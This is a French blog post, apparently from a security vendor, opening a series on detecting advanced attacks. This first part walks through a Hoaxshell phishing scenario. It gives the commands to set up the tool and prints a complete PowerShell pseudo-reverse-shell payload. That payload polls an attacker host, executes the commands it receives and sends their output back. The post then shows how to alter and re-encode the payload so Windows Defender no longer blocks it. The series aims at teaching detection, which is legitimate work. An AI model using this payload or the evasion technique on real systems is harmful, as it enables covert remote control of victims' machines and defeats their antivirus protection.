top of page

Comment détecter des attaques avancées ? De la source de donnée, à la création d'incidents (1/7)

Dernière mise à jour : 21 mars 2023

Dans cette série de post, nous allons, par un exemple, vous montrer l'ensemble des services de notre solution SOC-as-a-service mais aussi les problématiques rencontrées sur le terrain et comment nous y remédions.


1. Un scénario d'attaque avancée

2. Définition des sources de données utilisés pour la détection

3. Les bons outils

4. Collecte et Compréhension des données

5. La création d'une règle de détection

6. La création d'une investigation

7. L'automatisation de la remédiation


Dans la première partie du post nous décrirons, un scénario d'attaque possible et déroulerons ensuite notre attaque.


1 - Un scénario d'attaque avancée


Il existe différent vecteurs d'attaques et bien d'autre façon de réaliser cette attaque, on a tenté de prendre ici un exemple plausible qui, vous allez le voir, est assez efficace même avec des outils de sécurité en place.


Scénario : Hoaxshell est utilisé suite à une campagne de phishing pour obtenir un accès initial sur un endpoint.


Peut-être vous rappelez-vous du fameux Hoaxshell (en fin d'année dernière), c'est un pseudo reverse shell qui cible les terminaux Windows. On parle de pseudo-reverse shell car hoaxshell utilise HTTP(S) pour envoyer des commandes et recevoir des réponses (et non un protocole de la couche transport). L’intérêt est qu'il permet surtout de contourner les règles pare-feu dans une entreprise car il utilise le port 443 pour la communication.


Les règles qui autorisent le "réseau source" vers Internet sur les ports 80,443 sont la norme pour beaucoup d'entreprises.

Le deuxième intérêt est qu'il utilise PowerShell comme vecteur d'attaque, on verra là aussi qu'il est possible de bypasser les moyens de protection en place. Et enfin le dernier avantage est qu'un simple accès utilisateur est nécessaire sur la machine victime.


https://github.com/t3l3machus/hoaxshell
https://github.com/t3l3machus/hoaxshell

Pour faire simple, on va exécuter une commande powershell sur la machine de la victime. Cette commande va demander à la victime de se connecter à notre serveur web malveillant en HTTPs toutes les 0,8 secondes (par défaut) et vérifier s'il doit exécuter une commande. Si c'est le cas, le résultat de la commande est ensuite envoyé sur le serveur, et on pourra ensuite l'afficher dans la console.

Ces attaques seront dévastatrices si la cible ne dispose d'aucun mécanisme de détection pour ce type d'attaque.


Mise en situation :


Du point de vu de l'attaquant, on va voir que l'attaque sera pour lui plutôt simple à exécuter.

Depuis une distribution "Kali Linux", on va :


1. Cloner le GitHub d'hoaxshell :

git clone https://github.com/t3l3machus/hoaxshell

2. Installer les requirements :


cd hoaxshell
sudo chmod +x hoaxshell.py
python3 -m pip install -r requirements.txt

3. Et générer un payload :

python3 hoaxshell.py -s <ATTACKER_IP>     

<ATTACKER_IP> va être l'adresse de notre Kali Linux.


Le résultat est l'output suivant, à noter chaque code généré par l'outil hoaxshell sera différent :



4. Normalement on aurait plus qu'à lancer la commande sur la machine victime :

powershell -e JABzAD0AJwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAwADIAOgA4ADAAOAAwACcAOwAkAHAAPQAnAGgAdAB0AHAAOgAvAC8AJwA7ACQAdgA9AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC....

mais si la fonctionnalité "real-time and cloud-delivered protection" de Window Defender est activé, le message suivant s'affichera :


At line:1 char:1
+ $s='<ATTACKER_IP>:443';$i='9187fd93-ad5dffe2-7bdfe34d';$p='http://' ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

Et ça pourrait être le cas, on va donc revenir sur notre machine Kali Linux, et depuis le répertoire d'hoaxshell, lancer la commande suivante :

python3 hoaxshell.py -s <ATTACKER_IP> -r -H "Authorization"

La commande, va nous renvoyer une réponse de ce type :


$s='<ATTACKER_IP>:443';$i='5f8a6f53-558b0938-f763f78c';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/5f8a6f53 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/558b0938 -Headers @{"Authorization"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/f763f78c -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

On va légèrement modifier le code pour ne pas matcher la signature, on va supprimer la déclaration de la variable $i et remplacer avec sa valeur quand elle est appelée ce qui dans notre cas donnera :

 $s='<ATTACKER_IP>:443';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/5f8a6f53 -Headers @{"Authorization"=5f8a6f53-558b0938-f763f78c};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/558b0938 -Headers @{"Authorization"=5f8a6f53-558b0938-f763f78c}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/f763f78c -Method POST -Headers @{"Authorization"=5f8a6f53-558b0938-f763f78c} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

Pour les plus curieux d'entre vous :



Et enfin on va ré encoder notre commande en base64 en utilisant https://raikia.com/tool-powershell-encoder/



Et cette fois la commande ne sera pas reconnue par Windows Defender et on peut voir la connexion shell se lancer.


Il se peut qu'au moment où vous lisez ce blog, cette technique d'évasion ne fonctionne plus, mais sachez qu'il en existe bien d'autres.


Conclusion :


On a été capable de bypass les solutions de défense classique d'antivirus, mais aussi les protections powershell. Et a priori, les règles firewall de l'entreprise auraient aussi été bypass.

Notre équipe de R&D effectue un travail de recherche et de veille, perpétuel pour être toujours à jour sur les dernières menaces.

Dans la seconde partie, nous décrirons les moyens de détections, les sources de logs nécessaires, et les différentes problématiques que vous pourrez rencontrer.

71 vues0 commentaire

Posts récents

Voir tout

Comments


bottom of page